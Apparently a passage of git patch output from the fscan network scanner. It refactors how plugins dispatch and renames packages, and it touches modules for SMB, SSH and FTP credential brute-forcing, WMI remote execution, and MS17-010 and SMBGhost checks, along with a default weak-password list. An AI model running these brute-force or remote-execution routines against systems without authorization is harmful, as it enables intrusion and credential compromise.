realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 50da4a2..4c7cff6 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -2,22 +2,22 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/common" - "reflect" "strconv" "strings" "sync" ) -func Scan(info common.HostInfo) { +func Scan(info Config.HostInfo) { fmt.Println("[*] 开始信息扫描...") // 本地信息收集模块 if common.Scantype == "localinfo" { ch := make(chan struct{}, common.Threads) wg := sync.WaitGroup{} - AddScan("1000006", info, &ch, &wg) + AddScan("localinfo", info, &ch, &wg) wg.Wait() common.LogWG.Wait() close(common.Results) @@ -36,9 +36,7 @@ func Scan(info common.HostInfo) { lib.Inithttp() ch := make(chan struct{}, common.Threads) wg := sync.WaitGroup{} - web := strconv.Itoa(common.PORTList["web"]) - ms17010 := strconv.Itoa(common.PORTList["ms17010"]) - var AlivePorts, severports []string + var AlivePorts []string if len(Hosts) > 0 || len(common.HostPort) > 0 { // ICMP存活性检测 @@ -52,22 +50,7 @@ func Scan(info common.HostInfo) { } // 端口扫描策略 - switch common.Scantype { - case "webonly", "webpoc": - AlivePorts = NoPortScan(Hosts, common.Ports) - case "hostname": - common.Ports = "139" - AlivePorts = NoPortScan(Hosts, common.Ports) - default: - if len(Hosts) > 0 { - AlivePorts = PortScan(Hosts, common.Ports, common.Timeout) - fmt.Printf("[+] 存活端口数量: %d\n", len(AlivePorts)) - if common.Scantype == "portscan" { - common.LogWG.Wait() - return - } - } - } + AlivePorts = executeScanStrategy(Hosts, common.Scantype) // 处理自定义端口 if len(common.HostPort) > 0 { @@ -77,12 +60,7 @@ func Scan(info common.HostInfo) { fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts)) } - // 构建服务端口列表 - for _, port := range common.PORTList { - severports = append(severports, strconv.Itoa(port)) - } - - // 开始漏洞扫描 + // 执行扫描任务 fmt.Println("[*] 开始漏洞扫描...") for _, targetIP := range AlivePorts { hostParts := strings.Split(targetIP, ":") @@ -92,34 +70,14 @@ func Scan(info common.HostInfo) { } info.Host, info.Ports = hostParts[0], hostParts[1] - if common.Scantype == "all" || common.Scantype == "main" { - switch { - case info.Ports == "135": - AddScan(info.Ports, info, &ch, &wg) - if common.IsWmi { - AddScan("1000005", info, &ch, &wg) - } - case info.Ports == "445": - AddScan(ms17010, info, &ch, &wg) - case info.Ports == "9000": - AddScan(web, info, &ch, &wg) - AddScan(info.Ports, info, &ch, &wg) - case IsContain(severports, info.Ports): - AddScan(info.Ports, info, &ch, &wg) - default: - AddScan(web, info, &ch, &wg) - } - } else { - scantype := strconv.Itoa(common.PORTList[common.Scantype]) - AddScan(scantype, info, &ch, &wg) - } + executeScanTasks(info, common.Scantype, &ch, &wg) } } // URL扫描 for _, url := range common.Urls { info.Url = url - AddScan(web, info, &ch, &wg) + AddScan("web", info, &ch, &wg) } // 等待所有任务完成 @@ -129,11 +87,65 @@ func Scan(info common.HostInfo) { fmt.Printf("[✓] 扫描已完成: %v/%v\n", common.End, common.Num) } +// executeScanStrategy 执行端口扫描策略 +func executeScanStrategy(Hosts []string, scanType string) []string { + switch scanType { + case "webonly", "webpoc": + return NoPortScan(Hosts, common.Ports) + case "hostname": + common.Ports = "139" + return NoPortScan(Hosts, common.Ports) + default: + if len(Hosts) > 0 { + ports := PortScan(Hosts, common.Ports, common.Timeout) + fmt.Printf("[+] 存活端口数量: %d\n", len(ports)) + if scanType == "portscan" { + common.LogWG.Wait() + return nil + } + return ports + } + } + return nil +} + +// executeScanTasks 执行扫描任务 +func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) { + if scanType == "all" || scanType == "main" { + // 根据端口选择扫描插件 + switch info.Ports { + case "135": + AddScan("findnet", info, ch, wg) + if common.IsWmi { + AddScan("wmiexec", info, ch, wg) + } + case "445": + AddScan("ms17010", info, ch, wg) + case "9000": + AddScan("web", info, ch, wg) + AddScan("fcgi", info, ch, wg) + default: + // 查找对应端口的插件 + for name, plugin := range Config.PluginManager { + if strconv.Itoa(plugin.Port) == info.Ports { + AddScan(name, info, ch, wg) + return + } + } + // 默认执行Web扫描 + AddScan("web", info, ch, wg) + } + } else { + // 直接使用指定的扫描类型 + AddScan(scanType, info, ch, wg) + } +} + // Mutex用于保护共享资源的并发访问 var Mutex = &sync.Mutex{} // AddScan 添加扫描任务到并发队列 -func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { +func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) { // 获取信号量,控制并发数 *ch <- struct{}{} // 添加等待组计数 @@ -161,20 +173,25 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync. }() } -// ScanFunc 通过反射调用对应的扫描插件 -func ScanFunc(name *string, info *common.HostInfo) { - // 异常恢复处理 +// ScanFunc 执行扫描插件 +func ScanFunc(name *string, info *Config.HostInfo) { defer func() { if err := recover(); err != nil { fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) } }() - // 通过反射获取插件函数 - f := reflect.ValueOf(PluginList[*name]) - // 构造参数并调用插件函数 - in := []reflect.Value{reflect.ValueOf(info)} - f.Call(in) + // 检查插件是否存在 + plugin, exists := Config.PluginManager[*name] + if !exists { + fmt.Printf("[*] 扫描类型 %v 无对应插件,已跳过\n", *name) + return + } + + // 直接调用扫描函数 + if err := plugin.ScanFunc(info); err != nil { + fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err) + } } // IsContain 检查切片中是否包含指定元素 diff --git a/Plugins/smb.go b/Plugins/smb.go index 14dcc60..138aef2 100644 --- a/Plugins/smb.go +++ b/Plugins/smb.go @@ -3,6 +3,7 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "github.com/stacktitan/smb/smb" "strings" @@ -10,7 +11,7 @@ import ( ) // SmbScan 执行SMB服务的认证扫描 -func SmbScan(info *common.HostInfo) (tmperr error) { +func SmbScan(info *Config.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil @@ -64,7 +65,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) { } // SmblConn 尝试建立SMB连接并进行认证 -func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { +func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { flag = false // 配置SMB连接选项 @@ -92,7 +93,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc } // doWithTimeOut 执行带超时的SMB连接认证 -func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func doWithTimeOut(info *Config.HostInfo, user string, pass string) (flag bool, err error) { signal := make(chan struct{}) // 在goroutine中执行SMB连接 diff --git a/Plugins/smb2.go b/Plugins/smb2.go index ae2c2e8..eadf67d 100644 --- a/Plugins/smb2.go +++ b/Plugins/smb2.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "net" "os" @@ -12,7 +13,7 @@ import ( ) // SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 -func SmbScan2(info *common.HostInfo) (tmperr error) { +func SmbScan2(info *Config.HostInfo) (tmperr error) { // 如果未启用暴力破解则直接返回 if common.IsBrute { return nil @@ -31,7 +32,7 @@ func SmbScan2(info *common.HostInfo) (tmperr error) { } // smbHashScan 使用哈希进行认证扫描 -func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error { +func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error { for _, user := range common.Userdict["smb"] { for _, hash := range common.HashBytes { success, err, printed := Smb2Con(info, user, "", hash, hasprint) @@ -59,7 +60,7 @@ func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error { } // smbPasswordScan 使用密码进行认证扫描 -func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) error { +func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) error { for _, user := range common.Userdict["smb"] { for _, pass := range common.Passwords { pass = strings.ReplaceAll(pass, "{user}", user) @@ -88,7 +89,7 @@ func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) erro } // logSuccessfulAuth 记录成功的认证 -func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) { +func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) { var result string if common.Domain != "" { result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", @@ -107,7 +108,7 @@ func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) { } // logFailedAuth 记录失败的认证 -func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) { +func logFailedAuth(info *Config.HostInfo, user, pass string, hash []byte, err error) { var errlog string if len(hash) > 0 { errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", @@ -134,7 +135,7 @@ func shouldStopScan(err error, startTime int64, totalAttempts int) bool { } // Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 -func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { +func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { // 建立TCP连接 conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(common.Timeout)*time.Second) @@ -197,7 +198,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr } // logShareInfo 记录SMB共享信息 -func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) { +func logShareInfo(info *Config.HostInfo, user string, pass string, hash []byte, shares []string) { var result string // 构建基础信息 diff --git a/Plugins/ssh.go b/Plugins/ssh.go index c46139d..d1a5d09 100644 --- a/Plugins/ssh.go +++ b/Plugins/ssh.go @@ -2,6 +2,7 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "golang.org/x/crypto/ssh" "io/ioutil" @@ -11,7 +12,7 @@ import ( ) // SshScan 执行SSH服务的认证扫描 -func SshScan(info *common.HostInfo) (tmperr error) { +func SshScan(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return } @@ -56,7 +57,7 @@ func SshScan(info *common.HostInfo) (tmperr error) { } // SshConn 尝试建立SSH连接并进行认证 -func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { +func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { // 准备认证方法 var auth []ssh.AuthMethod if common.SshKey != "" { diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go index 49f2c48..d04bc84 100644 --- a/Plugins/webtitle.go +++ b/Plugins/webtitle.go @@ -4,6 +4,7 @@ import ( "compress/gzip" "crypto/tls" "fmt" + "github.com/shadow1ng/fscan/Config" "io" "net/http" "net/url" @@ -18,7 +19,7 @@ import ( "golang.org/x/text/encoding/simplifiedchinese" ) -func WebTitle(info *common.HostInfo) error { +func WebTitle(info *Config.HostInfo) error { if common.Scantype == "webpoc" { WebScan.WebScan(info) return nil @@ -39,7 +40,7 @@ func WebTitle(info *common.HostInfo) error { } return err } -func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { +func GOWebTitle(info *Config.HostInfo) (err error, CheckData []WebScan.CheckDatas) { if info.Url == "" { switch info.Ports { case "80": @@ -93,7 +94,7 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData return } -func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { +func geturl(info *Config.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { //flag 1 first try //flag 2 /favicon.ico //flag 3 302 diff --git a/Plugins/wmiexec.go b/Plugins/wmiexec.go index 81421b0..bd230e2 100644 --- a/Plugins/wmiexec.go +++ b/Plugins/wmiexec.go @@ -3,6 +3,7 @@ package Plugins import ( "errors" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/common" "os" "strings" @@ -26,7 +27,7 @@ func init() { flag = true } -func WmiExec(info *common.HostInfo) (tmperr error) { +func WmiExec(info *Config.HostInfo) (tmperr error) { if common.IsBrute { return nil } @@ -70,7 +71,7 @@ func WmiExec(info *common.HostInfo) (tmperr error) { return tmperr } -func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) { +func Wmiexec(info *Config.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) wmiexec.Timeout = int(common.Timeout) return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index 44e88f2..a2e3ca3 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -3,6 +3,7 @@ package WebScan import ( "embed" "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/common" "net/http" @@ -17,7 +18,7 @@ var Pocs embed.FS var once sync.Once var AllPocs []*lib.Poc -func WebScan(info *common.HostInfo) { +func WebScan(info *Config.HostInfo) { once.Do(initpoc) var pocinfo = common.Pocinfo buf := strings.Split(info.Url, "/") diff --git a/common/Parse.go b/common/Parse.go index e264869..6151691 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -5,13 +5,14 @@ import ( "encoding/hex" "flag" "fmt" + "github.com/shadow1ng/fscan/Config" "net/url" "os" "strconv" "strings" ) -func Parse(Info *HostInfo) { +func Parse(Info *Config.HostInfo) { ParseUser() ParsePass(Info) ParseInput(Info) @@ -44,7 +45,7 @@ func ParseUser() { } } -func ParsePass(Info *HostInfo) { +func ParsePass(Info *Config.HostInfo) { var PwdList []string if Password != "" { passs := strings.Split(Password, ",") @@ -140,7 +141,7 @@ func Readfile(filename string) ([]string, error) { return content, nil } -func ParseInput(Info *HostInfo) { +func ParseInput(Info *Config.HostInfo) { if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { fmt.Println("Host is none") flag.Usage() @@ -235,49 +236,74 @@ func ParseInput(Info *HostInfo) { Hashs = []string{} } -func ParseScantype(Info *HostInfo) { - if _, validType := PORTList[Scantype]; !validType { - showmode() - return +// ParseScantype 解析扫描类型并设置对应的端口 +func ParseScantype(Info *Config.HostInfo) error { + // 先处理特殊扫描类型 + specialTypes := map[string]string{ + "hostname": "135,137,139,445", + "webonly": Webport, + "webpoc": Webport, + "web": Webport, + "portscan": DefaultPorts + "," + Webport, + "main": DefaultPorts, + "all": DefaultPorts + "," + Webport, + "icmp": "", // ICMP不需要端口 } - if Scantype != "all" && Ports == DefaultPorts+","+Webport { - switch Scantype { - case "hostname": - Ports = "135,137,139,445" - case "web", "webonly", "webpoc": - Ports = Webport - case "portscan": - Ports = DefaultPorts + "," + Webport - case "main": - Ports = DefaultPorts - default: - if port := PORTList[Scantype]; port > 0 { - Ports = strconv.Itoa(port) - } + // 如果是特殊扫描类型 + if customPorts, isSpecial := specialTypes[Scantype]; isSpecial { + if Scantype != "all" && Ports == DefaultPorts+","+Webport { + Ports = customPorts } - - fmt.Printf("[*] Scan type: %s, target ports: %s\n", Scantype, Ports) + fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports) + return nil } + + // 检查是否是注册的插件类型 + plugin, validType := Config.PluginManager[Scantype] + if !validType { + showmode() + return fmt.Errorf("无效的扫描类型: %s", Scantype) + } + + // 如果是插件扫描且使用默认端口配置 + if Ports == DefaultPorts+","+Webport { + if plugin.Port > 0 { + Ports = strconv.Itoa(plugin.Port) + } + fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports) + } + + return nil } -//func CheckErr(text string, err error, flag bool) { -// if err != nil { -// fmt.Println("Parse", text, "error: ", err.Error()) -// if flag { -// if err != ParseIPErr { -// fmt.Println(ParseIPErr) -// } -// os.Exit(0) -// } -// } -//} - +// showmode 显示所有支持的扫描类型 func showmode() { - fmt.Println("The specified scan type does not exist") - fmt.Println("-m") - for name := range PORTList { - fmt.Println(" [" + name + "]") + fmt.Println("[!] 指定的扫描类型不存在") + fmt.Println("[*] 支持的扫描类型:") + + // 显示常规服务扫描类型 + fmt.Println("\n[+] 常规服务扫描:") + for name, plugin := range Config.PluginManager { + if plugin.Port > 0 && plugin.Port < 1000000 { + fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port) + } } + + // 显示特殊漏洞扫描类型 + fmt.Println("\n[+] 特殊漏洞扫描:") + for name, plugin := range Config.PluginManager { + if plugin.Port >= 1000000 || plugin.Port == 0 { + fmt.Printf(" - %-10s\n", name) + } + } + + // 显示其他扫描类型 + fmt.Println("\n[+] 其他扫描类型:") + specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"} + for _, name := range specialTypes { + fmt.Printf(" - %s\n", name) + } + os.Exit(0) } diff --git a/common/config.go b/common/config.go index 8b67a19..4bc2e69 100644 --- a/common/config.go +++ b/common/config.go @@ -14,44 +14,6 @@ var Userdict = map[string][]string{ } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} -var PORTList = map[string]int{ - // 常规服务端口 - "ftp": 21, - "ssh": 22, - "findnet": 135, - "netbios": 139, - "smb": 445, - "mssql": 1433, - "oracle": 1521, - "mysql": 3306, - "rdp": 3389, - "psql": 5432, - "redis": 6379, - "fcgi": 9000, - "mem": 11211, - "mgo": 27017, - - // 特定端口的扫描类型 - "wmiexec": 135, - "wmiinfo": 135, - "smbinfo": 445, - "smb2": 445, - "ms17010": 445, - "cve20200796": 445, - - // Web相关 - "web": 0, // 使用Webport - "webonly": 0, // 使用Webport - "webpoc": 0, // 使用Webport - - // 特殊扫描类型 - "hostname": 0, // 使用135,137,139,445 - "all": 0, // 全部扫描 - "portscan": 0, // 使用DefaultPorts + Webport - "icmp": 0, // ICMP检测 - "main": 0, // 使用DefaultPorts - "localinfo": 0, // 本地信息收集 -} var PortGroup = map[string]string{ "ftp": "21", @@ -81,13 +43,6 @@ var IsSave = true var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" -type HostInfo struct { - Host string - Ports string - Url string - Infostr []string -} - type PocInfo struct { Target string PocName string diff --git a/common/flag.go b/common/flag.go index 571f8d4..972903d 100644 --- a/common/flag.go +++ b/common/flag.go @@ -2,6 +2,7 @@ package common import ( "flag" + "github.com/shadow1ng/fscan/Config" ) func Banner() { @@ -16,7 +17,7 @@ func Banner() { print(banner) } -func Flag(Info *HostInfo) { +func Flag(Info *Config.HostInfo) { Banner() flag.StringVar(&Info.Host, "h", "", "IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") flag.StringVar(&NoHosts, "hn", "", "the hosts no scan,as: -hn 192.168.1.1/24") diff --git a/main.go b/main.go index 64b229d..680866d 100644 --- a/main.go +++ b/main.go @@ -2,6 +2,7 @@ package main import ( "fmt" + "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/Plugins" "github.com/shadow1ng/fscan/common" "time" @@ -9,7 +10,7 @@ import ( func main() { start := time.Now() - var Info common.HostInfo + var Info Config.HostInfo common.Flag(&Info) common.Parse(&Info) Plugins.Scan(Info) From 5d9bcaaadc131fb5452818b24970523c53cb850a Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:00:18 +0800 Subject: [PATCH 10/80] =?UTF-8?q?refactor:=20=E8=A7=84=E8=8C=83=E5=8C=96?= =?UTF-8?q?=E6=96=87=E4=BB=B6=E5=91=BD=E5=90=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- {common => Common}/Parse.go | 2 +- {common => Common}/ParseIP.go | 2 +- {common => Common}/ParsePort.go | 2 +- Plugins/CVE-2020-0796.go | 10 ++-- Plugins/{ftp.go => FTP.go} | 22 ++++---- Plugins/{findnet.go => FindNet.go} | 8 +-- Plugins/{icmp.go => ICMP.go} | 16 +++--- Plugins/{localinfo.go => LocalInfo.go} | 8 +-- Plugins/{ms17010-exp.go => MS17010-Exp.go} | 20 +++---- Plugins/{ms17010.go => MS17010.go} | 18 +++---- Plugins/{mssql.go => MSSQL.go} | 22 ++++---- Plugins/{memcached.go => Memcached.go} | 10 ++-- Plugins/{mongodb.go => Mongodb.go} | 12 ++--- Plugins/{mysql.go => MySQL.go} | 22 ++++---- Plugins/NetBIOS.go | 12 ++--- Plugins/{oracle.go => Oracle.go} | 20 +++---- Plugins/{portscan.go => PortScan.go} | 16 +++--- Plugins/{postgres.go => Postgres.go} | 18 +++---- Plugins/{rdp.go => RDP.go} | 20 +++---- Plugins/{redis.go => Redis.go} | 46 ++++++++-------- Plugins/{smb.go => SMB.go} | 24 ++++----- Plugins/{smb2.go => SMB2.go} | 50 ++++++++--------- Plugins/{ssh.go => SSH.go} | 38 ++++++------- Plugins/{scanner.go => Scanner.go} | 62 +++++++++++----------- Plugins/{wmiexec.go => WMIExec.go} | 32 +++++------ Plugins/{webtitle.go => WebTitle.go} | 30 +++++------ Plugins/fcgiscan.go | 22 ++++---- WebScan/InfoScan.go | 4 +- WebScan/WebScan.go | 24 ++++----- WebScan/info/{rules.go => Rules.go} | 14 ++--- WebScan/lib/{check.go => Check.go} | 16 +++--- WebScan/lib/{client.go => Client.go} | 18 +++---- WebScan/lib/{eval.go => Eval.go} | 6 +-- WebScan/lib/{shiro.go => Shiro.go} | 0 WebScan/pocs/ruoyi-management-fileread.yml | 4 +- WebScan/pocs/seeyon-a6-test-jsp-sql.yml | 2 +- WebScan/pocs/yonyou-u8-oa-sqli.yml | 2 +- common/config.go | 2 +- common/flag.go | 2 +- common/log.go | 2 +- common/proxy.go | 2 +- main.go | 6 +-- 42 files changed, 334 insertions(+), 334 deletions(-) rename {common => Common}/Parse.go (99%) rename {common => Common}/ParseIP.go (99%) rename {common => Common}/ParsePort.go (98%) rename Plugins/{ftp.go => FTP.go} (77%) rename Plugins/{findnet.go => FindNet.go} (91%) rename Plugins/{icmp.go => ICMP.go} (95%) rename Plugins/{localinfo.go => LocalInfo.go} (97%) rename Plugins/{ms17010-exp.go => MS17010-Exp.go} (98%) rename Plugins/{ms17010.go => MS17010.go} (94%) rename Plugins/{mssql.go => MSSQL.go} (68%) rename Plugins/{memcached.go => Memcached.go} (75%) rename Plugins/{mongodb.go => Mongodb.go} (90%) rename Plugins/{mysql.go => MySQL.go} (67%) rename Plugins/{oracle.go => Oracle.go} (69%) rename Plugins/{portscan.go => PortScan.go} (87%) rename Plugins/{postgres.go => Postgres.go} (72%) rename Plugins/{rdp.go => RDP.go} (89%) rename Plugins/{redis.go => Redis.go} (89%) rename Plugins/{smb.go => SMB.go} (81%) rename Plugins/{smb2.go => SMB2.go} (81%) rename Plugins/{ssh.go => SSH.go} (73%) rename Plugins/{scanner.go => Scanner.go} (75%) rename Plugins/{wmiexec.go => WMIExec.go} (75%) rename Plugins/{webtitle.go => WebTitle.go} (90%) rename WebScan/info/{rules.go => Rules.go} (98%) rename WebScan/lib/{check.go => Check.go} (97%) rename WebScan/lib/{client.go => Client.go} (94%) rename WebScan/lib/{eval.go => Eval.go} (99%) rename WebScan/lib/{shiro.go => Shiro.go} (100%) diff --git a/common/Parse.go b/Common/Parse.go similarity index 99% rename from common/Parse.go rename to Common/Parse.go index 6151691..127e19a 100644 --- a/common/Parse.go +++ b/Common/Parse.go @@ -1,4 +1,4 @@ -package common +package Common import ( "bufio" diff --git a/common/ParseIP.go b/Common/ParseIP.go similarity index 99% rename from common/ParseIP.go rename to Common/ParseIP.go index 66084be..316b319 100644 --- a/common/ParseIP.go +++ b/Common/ParseIP.go @@ -1,4 +1,4 @@ -package common +package Common import ( "bufio" diff --git a/common/ParsePort.go b/Common/ParsePort.go similarity index 98% rename from common/ParsePort.go rename to Common/ParsePort.go index 4ccac9e..cec40e8 100644 --- a/common/ParsePort.go +++ b/Common/ParsePort.go @@ -1,4 +1,4 @@ -package common +package Common import ( "strconv" diff --git a/Plugins/CVE-2020-0796.go b/Plugins/CVE-2020-0796.go index 2297d1b..c07331c 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/CVE-2020-0796.go @@ -6,7 +6,7 @@ import ( "github.com/shadow1ng/fscan/Config" "time" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" ) const ( @@ -96,7 +96,7 @@ const ( ) func SmbGhost(info *Config.HostInfo) error { - if common.IsBrute { + if Common.IsBrute { return nil } err := SmbGhostScan(info) @@ -104,9 +104,9 @@ func SmbGhost(info *Config.HostInfo) error { } func SmbGhostScan(info *Config.HostInfo) error { - ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second + ip, port, timeout := info.Host, 445, time.Duration(Common.Timeout)*time.Second addr := fmt.Sprintf("%s:%v", info.Host, port) - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) + conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout) if err != nil { return err } @@ -123,7 +123,7 @@ func SmbGhostScan(info *Config.HostInfo) error { } if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) - common.LogSuccess(result) + Common.LogSuccess(result) } return err } diff --git a/Plugins/ftp.go b/Plugins/FTP.go similarity index 77% rename from Plugins/ftp.go rename to Plugins/FTP.go index 19d925c..b973458 100644 --- a/Plugins/ftp.go +++ b/Plugins/FTP.go @@ -3,14 +3,14 @@ package Plugins import ( "fmt" "github.com/jlaffaye/ftp" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "strings" "time" ) func FtpScan(info *Config.HostInfo) (tmperr error) { - if common.IsBrute { + if Common.IsBrute { return } starttime := time.Now().Unix() @@ -19,27 +19,27 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { return err } else { errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } } - for _, user := range common.Userdict["ftp"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["ftp"] { + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := FtpConn(info, user, pass) if flag && err == nil { return err } else { errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["ftp"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) { return err } } @@ -51,7 +51,7 @@ func FtpScan(info *Config.HostInfo) (tmperr error) { func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - 